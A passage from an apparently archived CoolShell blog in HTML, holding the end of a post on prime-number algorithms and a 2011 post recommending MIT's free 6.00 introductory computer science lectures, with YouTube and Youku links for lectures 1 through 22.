href=\"https://coolshell.cn/articles/2704.html\" rel=\"bookmark\" target=\"_blank\" title=\"检查素数的正则表达式\">检查素数的正则表达式</a></span>》</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"http://coolshell.cn/articles/7965.html\"><img alt=\"一个fork的面试题\" height=\"150\" src=\"../wp-content/uploads/2012/07/fork01jpg-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"http://coolshell.cn/articles/7965.html\">一个fork的面试题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"http://coolshell.cn/articles/1857.html\"><img alt=\"C 语言整型谜题\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"http://coolshell.cn/articles/1857.html\">C 语言整型谜题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"http://coolshell.cn/articles/6010.html\"><img alt=\"一些有意思的算法代码\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"http://coolshell.cn/articles/6010.html\">一些有意思的算法代码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"http://coolshell.cn/articles/3961.html\"><img alt=\"“火柴棍式”程序员面试题\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"http://coolshell.cn/articles/3961.html\">“火柴棍式”程序员面试题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"http://coolshell.cn/articles/11847.html\"><img alt=\"谜题的答案和活动的心得体会\" height=\"150\" src=\"../wp-content/uploads/2014/08/puzzle-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"http://coolshell.cn/articles/11847.html\">谜题的答案和活动的心得体会</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3738.html\">打印质数的各种算法</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-2-28 （麻省理工免费课程）计算机科学和编程导论.html",
    "content": "<html><body><p>以前本站推荐过<a href=\"https://coolshell.cn/articles/2474.html\" target=\"_blank\">麻省理工的C/C++的课程</a>，今天在他们的网站看到上有一组关于<a href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/\" target=\"_blank\">计算机科学和编程导论的免费公开课</a>（视频是Youtube的），我看了几个课程，我觉得讲得很系统啊，而且有一点一通百通的感觉。虽然是理论课，但是可以感到我国的教育还是有很大差距的。这个组课程推荐给大家（需要翻墙），视频都有字幕，计算机科学系毕业的同学应该会很容易听懂。强烈推荐。（网友Aslan指出已经有人搬运到优酷上了，<a href=\"http://www.youku.com/playlist_show/id_3940564_ascending_1_mode_pic_page_1.html\" target=\"_blank\">链接在这里</a>，遗憾的是没有字幕，另外，不知道为什么会说是Python学习）</p>\n<table width=\"100%\">\n<tbody>\n<tr>\n<td width=\"120\"><a href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-1\" title=\"1: Introduction and Goals; Data Types, Operators, and Variables\"> \n<p></p></a><a href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-1\" title=\"1: Introduction and Goals; Data Types, Operators, and Variables\"><img alt=\"\" src=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-1/lec01.jpg\"/></a></td>\n<td>\n<p class=\"mediatitle\">1: Introduction and Goals; Data Types, Operators, and Variables</p>\n<p><a class=\"bullet medialink\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-1\">Youtube（英文字幕）</a></p>\n<p><a href=\"http://v.youku.com/v_playlist/f4862914o1p0.html\" target=\"_blank\">优酷（无字幕）</a></p></td>\n</tr>\n</tbody>\n</table>\n<table width=\"100%\">\n<tbody>\n<tr>\n<td width=\"120\"><a href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-2\" title=\"2: Branching, Conditionals, and Iteration\"> \n<p></p></a><a href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-2\" title=\"2: Branching, Conditionals, and Iteration\"><img alt=\"\" src=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-2/lec02.jpg\"/></a></td>\n<td>\n<p class=\"mediatitle\">2: Branching, Conditionals, and Iteration</p>\n<p><a class=\"bullet medialink\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-2\">Youtube（英文字幕）</a></p>\n<p><a href=\"http://v.youku.com/v_playlist/f4862914o1p1.html\" target=\"_blank\">优酷（无字幕）</a></p></td>\n</tr>\n</tbody>\n</table>\n<table width=\"100%\">\n<tbody>\n<tr>\n<td width=\"120\"><a href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-3\" title=\"3: Common Code Patterns: Iterative Programs\"> \n<p></p></a><a href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-3\" title=\"3: Common Code Patterns: Iterative Programs\"><img alt=\"\" src=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-3/lec03.jpg\"/></a></td>\n<td>\n<p class=\"mediatitle\">3: Common Code Patterns: Iterative Programs</p>\n<p><a class=\"bullet medialink\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-3\">Youtube（英文字幕）</a></p>\n<p><a href=\"http://v.youku.com/v_playlist/f4862914o1p2.html\" target=\"_blank\">优酷（无字幕）</a></p></td>\n</tr>\n</tbody>\n</table>\n<p><span id=\"more-3723\"></span></p>\n<table width=\"100%\">\n<tbody>\n<tr>\n<td width=\"120\"><a href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-4\" title=\"4: Abstraction through Functions; Introduction to Recursion\"> \n<p></p></a><a href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-4\" title=\"4: Abstraction through Functions; Introduction to Recursion\"><img alt=\"\" src=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-4/lec04.jpg\"/></a></td>\n<td>\n<p class=\"mediatitle\">4: Abstraction through Functions; Introduction to Recursion</p>\n<p><a class=\"bullet medialink\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-4\">Youtube（英文字幕）</a></p>\n<p><a href=\"http://v.youku.com/v_playlist/f4862914o1p3.html\" target=\"_blank\">优酷（无字幕）</a></p></td>\n</tr>\n</tbody>\n</table>\n<table width=\"100%\">\n<tbody>\n<tr>\n<td width=\"120\"><a href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-5\" title=\"5: Floating Point Numbers, Successive Refinement, Finding Roots\"> \n<p></p></a><a href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-5\" title=\"5: Floating Point Numbers, Successive Refinement, Finding Roots\"><img alt=\"\" src=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-5/lec05.jpg\"/></a></td>\n<td>\n<p class=\"mediatitle\">5: Floating Point Numbers, Successive Refinement, Finding Roots</p>\n<p><a class=\"bullet medialink\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-5\">Youtube（英文字幕）</a></p>\n<p><a href=\"http://v.youku.com/v_playlist/f4862914o1p4.html\" target=\"_blank\">优酷（无字幕）</a></p></td>\n</tr>\n</tbody>\n</table>\n<table width=\"100%\">\n<tbody>\n<tr>\n<td width=\"120\"><a href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-6\" title=\"6: Bisection Methods, Newton/Raphson, Introduction to Lists\"> \n<p></p></a><a href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-6\" title=\"6: Bisection Methods, Newton/Raphson, Introduction to Lists\"><img alt=\"\" src=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-6/lec06.jpg\"/></a></td>\n<td>\n<p class=\"mediatitle\">6: Bisection Methods, Newton/Raphson, Introduction to Lists</p>\n<p><a class=\"bullet medialink\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-6\">Youtube（英文字幕）</a></p>\n<p><a href=\"http://v.youku.com/v_playlist/f4862914o1p5.html\" target=\"_blank\">优酷（无字幕）</a></p></td>\n</tr>\n</tbody>\n</table>\n<table width=\"100%\">\n<tbody>\n<tr>\n<td width=\"120\"><a href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-7\" title=\"7: Lists and Mutability, Dictionaries, Introduction to Efficiency\"> \n<p></p></a><a href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-7\" title=\"7: Lists and Mutability, Dictionaries, Introduction to Efficiency\"><img alt=\"\" src=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-7/lec07.jpg\"/></a></td>\n<td>\n<p class=\"mediatitle\">7: Lists and Mutability, Dictionaries, Introduction to Efficiency</p>\n<p><a class=\"bullet medialink\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-7\">Youtube（英文字幕）</a></p>\n<p><a href=\"http://v.youku.com/v_playlist/f4862914o1p6.html\" target=\"_blank\">优酷（无字幕）</a></p></td>\n</tr>\n</tbody>\n</table>\n<table width=\"100%\">\n<tbody>\n<tr>\n<td width=\"120\"><a href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-8\" title=\"8: Complexity: Log, Linear, Quadratic, Exponential Algorithms\"> \n<p></p></a><a href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-8\" title=\"8: Complexity: Log, Linear, Quadratic, Exponential Algorithms\"><img alt=\"\" src=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-8/lec08.jpg\"/></a></td>\n<td>\n<p class=\"mediatitle\">8: Complexity: Log, Linear, Quadratic, Exponential Algorithms</p>\n<p><a class=\"bullet medialink\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-8\">Youtube（英文字幕）</a></p>\n<p><a href=\"http://v.youku.com/v_playlist/f4862914o1p7.html\" target=\"_blank\">优酷（无字幕）</a></p></td>\n</tr>\n</tbody>\n</table>\n<table width=\"100%\">\n<tbody>\n<tr>\n<td width=\"120\"><a href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-9\" title=\"9: Binary Search, Bubble and Selection Sorts\"> \n<p></p></a><a href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-9\" title=\"9: Binary Search, Bubble and Selection Sorts\"><img alt=\"\" src=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-9/lec09.jpg\"/></a></td>\n<td>\n<p class=\"mediatitle\">9: Binary Search, Bubble and Selection Sorts</p>\n<p><a class=\"bullet medialink\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-9\">Youtube（英文字幕）</a></p>\n<p><a href=\"http://v.youku.com/v_playlist/f4862914o1p8.html\" target=\"_blank\">优酷（无字幕）</a></p></td>\n</tr>\n</tbody>\n</table>\n<table width=\"100%\">\n<tbody>\n<tr>\n<td width=\"120\"><a href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-10\" title=\"10: Divide and Conquer Methods, Merge Sort, Exceptions\"> \n<p></p></a><a href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-10\" title=\"10: Divide and Conquer Methods, Merge Sort, Exceptions\"><img alt=\"\" src=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-10/lec10.jpg\"/></a></td>\n<td>\n<p class=\"mediatitle\">10: Divide and Conquer Methods, Merge Sort, Exceptions</p>\n<p><a class=\"bullet medialink\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-10\">Youtube（英文字幕）</a></p>\n<p><a href=\"http://v.youku.com/v_playlist/f4862914o1p9.html\" target=\"_blank\">优酷（无字幕）</a></p></td>\n</tr>\n</tbody>\n</table>\n<table width=\"100%\">\n<tbody>\n<tr>\n<td width=\"120\"><a href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-11\" title=\"11: Testing and Debugging\"> \n<p></p></a><a href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-11\" title=\"11: Testing and Debugging\"><img alt=\"\" src=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-11/lec11.jpg\"/></a></td>\n<td>\n<p class=\"mediatitle\">11: Testing and Debugging</p>\n<p><a class=\"bullet medialink\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-11\">Youtube（英文字幕）</a></p>\n<p><a href=\"http://v.youku.com/v_playlist/f4862914o1p10.html\" target=\"_blank\">优酷（无字幕）</a></p></td>\n</tr>\n</tbody>\n</table>\n<table width=\"100%\">\n<tbody>\n<tr>\n<td width=\"120\"><a href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-12\" title=\"12: Debugging, Knapsack Problem, Introduction to Dynamic Programming\"> \n<p></p></a><a href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-12\" title=\"12: Debugging, Knapsack Problem, Introduction to Dynamic Programming\"><img alt=\"\" src=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-12/lec12.jpg\"/></a></td>\n<td>\n<p class=\"mediatitle\">12: Debugging, Knapsack Problem, Introduction to Dynamic Programming</p>\n<p><a class=\"bullet medialink\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-12\">Youtube（英文字幕）</a></p>\n<p><a href=\"http://v.youku.com/v_playlist/f4862914o1p11.html\" target=\"_blank\">优酷（无字幕）</a></p></td>\n</tr>\n</tbody>\n</table>\n<table width=\"100%\">\n<tbody>\n<tr>\n<td width=\"120\"><a href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-13\" title=\"13: Dynamic Programming: Overlapping Subproblems, Optimal Substructure\"> \n<p></p></a><a href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-13\" title=\"13: Dynamic Programming: Overlapping Subproblems, Optimal Substructure\"><img alt=\"\" src=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-13/lec13.jpg\"/></a></td>\n<td>\n<p class=\"mediatitle\">13: Dynamic Programming: Overlapping Subproblems, Optimal Substructure</p>\n<p><a class=\"bullet medialink\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-13\">Youtube（英文字幕）</a></p>\n<p><a href=\"http://v.youku.com/v_playlist/f4862914o1p12.html\" target=\"_blank\">优酷（无字幕）</a></p></td>\n</tr>\n</tbody>\n</table>\n<table width=\"100%\">\n<tbody>\n<tr>\n<td width=\"120\"><a href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-14\" title=\"14: Introduction to Object-oriented Programming\"> \n<p></p></a><a href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-14\" title=\"14: Introduction to Object-oriented Programming\"><img alt=\"\" src=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-14/lec14.jpg\"/></a></td>\n<td>\n<p class=\"mediatitle\">14: Introduction to Object-oriented Programming</p>\n<p><a class=\"bullet medialink\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-14\">Youtube（英文字幕）</a></p>\n<p><a href=\"http://v.youku.com/v_playlist/f4862914o1p13.html\" target=\"_blank\">优酷（无字幕）</a></p></td>\n</tr>\n</tbody>\n</table>\n<table width=\"100%\">\n<tbody>\n<tr>\n<td width=\"120\"><a href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-15\" title=\"15: Abstract Data Types, Classes and Methods\"> \n<p></p></a><a href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-15\" title=\"15: Abstract Data Types, Classes and Methods\"><img alt=\"\" src=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-15/lec15.jpg\"/></a></td>\n<td>\n<p class=\"mediatitle\">15: Abstract Data Types, Classes and Methods</p>\n<p><a class=\"bullet medialink\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-15\">Youtube（英文字幕）</a></p>\n<p><a href=\"http://v.youku.com/v_playlist/f4862914o1p14.html\" target=\"_blank\">优酷（无字幕）</a></p></td>\n</tr>\n</tbody>\n</table>\n<table width=\"100%\">\n<tbody>\n<tr>\n<td width=\"120\"><a href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-16\" title=\"16: Encapsulation, Inheritance, Shadowing\"> \n<p></p></a><a href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-16\" title=\"16: Encapsulation, Inheritance, Shadowing\"><img alt=\"\" src=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-16/lec16.jpg\"/></a></td>\n<td>\n<p class=\"mediatitle\">16: Encapsulation, Inheritance, Shadowing</p>\n<p><a class=\"bullet medialink\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-16\">Youtube（英文字幕）</a></p>\n<p><a href=\"http://v.youku.com/v_playlist/f4862914o1p15.html\" target=\"_blank\">优酷（无字幕）</a></p></td>\n</tr>\n</tbody>\n</table>\n<table width=\"100%\">\n<tbody>\n<tr>\n<td width=\"120\"><a href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-17\" title=\"17: Computational Models: Random Walk Simulation\"> \n<p></p></a><a href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-17\" title=\"17: Computational Models: Random Walk Simulation\"><img alt=\"\" src=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-17/lec17.jpg\"/></a></td>\n<td>\n<p class=\"mediatitle\">17: Computational Models: Random Walk Simulation</p>\n<p><a class=\"bullet medialink\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-17\">Youtube（英文字幕）</a></p>\n<p><a href=\"http://v.youku.com/v_playlist/f4862914o1p16.html\" target=\"_blank\">优酷（无字幕）</a></p></td>\n</tr>\n</tbody>\n</table>\n<table width=\"100%\">\n<tbody>\n<tr>\n<td width=\"120\"><a href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-18\" title=\"18: Presenting Simulation Results, Pylab, Plotting\"> \n<p></p></a><a href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-18\" title=\"18: Presenting Simulation Results, Pylab, Plotting\"><img alt=\"\" src=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-18/lec18.jpg\"/></a></td>\n<td>\n<p class=\"mediatitle\">18: Presenting Simulation Results, Pylab, Plotting</p>\n<p><a class=\"bullet medialink\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-18\">Youtube（英文字幕）</a></p>\n<p><a href=\"http://v.youku.com/v_playlist/f4862914o1p17.html\" target=\"_blank\">优酷（无字幕）</a></p></td>\n</tr>\n</tbody>\n</table>\n<table width=\"100%\">\n<tbody>\n<tr>\n<td width=\"120\"><a href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-19\" title=\"19: Biased Random Walks, Distributions\"> \n<p></p></a><a href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-19\" title=\"19: Biased Random Walks, Distributions\"><img alt=\"\" src=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-19/lec19.jpg\"/></a></td>\n<td>\n<p class=\"mediatitle\">19: Biased Random Walks, Distributions</p>\n<p><a class=\"bullet medialink\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-19\">Youtube（英文字幕）</a></p>\n<p><a href=\"http://v.youku.com/v_playlist/f4862914o1p18.html\" target=\"_blank\">优酷（无字幕）</a></p></td>\n</tr>\n</tbody>\n</table>\n<table width=\"100%\">\n<tbody>\n<tr>\n<td width=\"120\"><a href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-20\" title=\"20: Monte Carlo Simulations, Estimating pi\"> \n<p></p></a><a href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-20\" title=\"20: Monte Carlo Simulations, Estimating pi\"><img alt=\"\" src=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-20/lec20.jpg\"/></a></td>\n<td>\n<p class=\"mediatitle\">20: Monte Carlo Simulations, Estimating pi</p>\n<p><a class=\"bullet medialink\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-20\">Youtube（英文字幕）</a></p>\n<p><a href=\"http://v.youku.com/v_playlist/f4862914o1p19.html\" target=\"_blank\">优酷（无字幕）</a></p></td>\n</tr>\n</tbody>\n</table>\n<table width=\"100%\">\n<tbody>\n<tr>\n<td width=\"120\"><a href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-21\" title=\"21: Validating Simulation Results, Curve Fitting, Linear Regression\"> \n<p></p></a><a href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-21\" title=\"21: Validating Simulation Results, Curve Fitting, Linear Regression\"><img alt=\"\" src=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-21/lec21.jpg\"/></a></td>\n<td>\n<p class=\"mediatitle\">21: Validating Simulation Results, Curve Fitting, Linear Regression</p>\n<p><a class=\"bullet medialink\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-21\">Youtube（英文字幕）</a></p>\n<p><a href=\"http://v.youku.com/v_playlist/f4862914o1p20.html\" target=\"_blank\">优酷（无字幕）</a></p></td>\n</tr>\n</tbody>\n</table>\n<table width=\"100%\">\n<tbody>\n<tr>\n<td width=\"120\"><a href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-22\" title=\"22: Normal, Uniform, and Exponential Distributions\"> \n<p></p></a><a href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-22\" title=\"22: Normal, Uniform, and Exponential Distributions\"><img alt=\"\" src=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-22/lec22.jpg\"/></a></td>\n<td>\n<p class=\"mediatitle\">22: Normal, Uniform, and Exponential Distributions</p>\n<p><a class=\"bullet medialink\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-22\">Youtube（英文字幕）</a></p>\n<p><a href=\"http://v.youku.com/v_playlist/f4862914o1p21.html\" target=\"_blank\">优酷（无字幕）</a></p></td>\n</tr>\n</tbody>\n</table>\n<table width=\"100%\">\n<tbody>\n<tr>\n<td width=\"120\"><a 